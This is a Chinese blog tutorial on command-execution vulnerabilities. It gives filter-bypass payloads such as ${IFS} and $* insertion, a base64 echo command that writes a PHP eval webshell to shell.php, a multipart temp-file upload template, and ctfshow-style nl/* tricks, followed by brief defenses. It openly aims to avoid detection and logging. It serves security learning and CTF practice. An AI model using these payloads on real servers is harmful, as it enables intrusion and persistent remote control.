REC——命令执行漏洞

原理

命令执行漏洞是一种常见的安全漏洞,它允许攻击者在受攻击的系统上执行任意的系统命令。这种漏洞的原理通常是,应用程序没有正确地验证和过滤用户输入数据,允许恶意用户可以在输入框等地方注入恶意的系统命令。

攻击者可以将恶意的命令附加到应用程序接受的输入数据中,这些命令通常是在操作系统中执行的命令,如执行 shell 命令、读取文件、删除文件等等。当应用程序接受这些命令并将其传递给操作系统时,由于未正确验证和过滤输入数据,这些恶意命令就会被执行,从而让攻击者获得控制权。

注意:当web页面下存在命令执行漏洞的时候,相当于在当前页面的文件路径下开了一个命令行,所有在文件处理或上传文件的时候要注意自己所在的位置。

绕过或隐藏操作手法

其一,当一个页面存在命令执行漏洞时候,往往还会存在一些过滤。其二,即使没有过滤的情况下我们也要尝试用一些绕过的手法进行操作。因为如果直接执行正常命令可能会被安全软件或产品检测出来,或者被日志记录被记录下来。

1.关键字替代

1.对于查看文件内容的命令有less、more、tail,cat它们之间可以相互代替

2.对于过滤空格的时候可以用< 、<>、%20(space)、%09(tab)、$IFS$9、 {IFS}、IFS等,如

cat<file
cat<>file
cat${IFS}file

3.对于目录分割符命令有"/" ,可以通过cd进入到那个目录,然后再进行查看如:

cd flag;cat flag.php

4.对于运算符则有&&,&,||,|这四种可以选择

5.如果关键字过滤过于严格那可以在关键字中间插入别的字符串也可以不影响其效果如:

c$*at fl$*ag
c$@at fl$@ag

2.通过命令注入写入木马文件

针对各种过滤我整理出如下的写入木马的命令,如果对写入的目录没有严格要求或者过滤数字的话成功率很高(底层操作系统是liunx)

echo${IFS}"PD9waHAgQGV2YWwoJF9QT1NUWyd4J10pOz8+Cg=="${IFS}|${IFS}base64${IFS}-d${IFS}>>shell.php
#密码是x

如果进行了空格过滤比较严格那看可以换一个空格过滤的方式

3.上传临时文件配合命令注入漏洞

在文件上传的过程中,通常在服务器端会创建一个临时文件来暂存上传的文件数据。

当客户端通过 HTTP 协议将文件上传到服务器端时,服务器端会将上传的文件数据暂存在临时目录中。这样做的目的是为了在文件上传过程中可以对文件进行处理和验证,以及防止占用过多的内存等。

临时文件一般会使用一个临时的文件名,而不是用户上传的原始文件名。一旦文件上传完毕并处理完成,临时文件会被删除或移动到另一个位置。本质是为了处理和验证

模板如下:

Content-Type: multipart/form-data; boundary=---------------------------10242300956292313528205888
Content-Length: 234

-----------------------------10242300956292313528205888
Content-Disposition: form-data; name="fileUpload"; filename="1.txt"
Content-Type: text/plain

#! /bin/bash
ls /var
-----------------------------10242300956292313528205888--

其他请求头自行拼接。ls /var就是执行的命令,需要配合着命令注入漏洞进行查看文件也就是查看结果

4.nl,*命令的灵活应用

nl:是列出当前文件里面的所有内容

*: 是把连续的文件名当作命令来执行如:nl s secretsecret_ctfshow_36dddddddddd.php z zzz.php(可以跟多个文件的)

payload:
?1=>nl    #先创建一个空文件,但是文件名是nl
?1=*>z        #命令的执行都是按照步骤执行的,显示*执行了文件名后,再放到z文件里面
然后访问这个文件即可

命令注入的防御

1.对web网站的目录设置严格权限,比如禁止写入,删除,创建等

2.做好严格的参数过滤

  • 14
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值